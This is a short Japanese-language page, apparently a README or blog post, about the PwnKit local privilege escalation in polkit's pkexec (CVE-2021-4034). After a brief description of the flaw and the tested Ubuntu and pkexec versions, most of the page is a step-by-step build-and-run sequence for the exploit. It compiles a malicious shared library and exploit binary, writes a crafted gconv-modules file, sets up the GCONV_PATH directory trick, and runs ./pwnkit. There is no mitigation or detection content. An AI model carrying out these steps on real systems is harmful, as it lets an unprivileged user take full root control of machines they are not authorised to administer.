
PwnKit - polkit の pkexec で発見されたローカル権限昇格の脆弱性 (CVE-2021-4034)
Qualys Research Team は、polkit の pkexec におけるメモリ破壊の脆弱性を発見しました。pkexec は、主要なすべての Linux ディストリビューションにデフォルトでインストールされている SUID-root プログラムです。この簡単に悪用可能な脆弱性により、権限のないユーザーは、デフォルト設定の脆弱なホスト上でこの脆弱性を悪用することで、完全な root 権限を取得できます。
PwnKit: polkit の pkexec で発見されたローカル権限昇格の脆弱性 (CVE-2021-4034)
Ubuntu 20.04.3 LTS x86_64
pkexec バージョン 0.105
mkdir /tmp/pwnkit_lpe/
gcc -shared -o /tmp/pwnkit_lpe/pwnkit.so -fPIC ./library.c
gcc ./exploit.c -o /tmp/pwnkit_lpe/pwnkit
echo "module UTF-8// PWNKIT// pwnkit 1" > /tmp/pwnkit_lpe/gconv-modules
mkdir -p "/tmp/pwnkit_lpe/GCONV_PATH=."
cp /usr/bin/true "/tmp/pwnkit_lpe/GCONV_PATH=./pwnkit.so:."
cd /tmp/pwnkit_lpe/
./pwnkit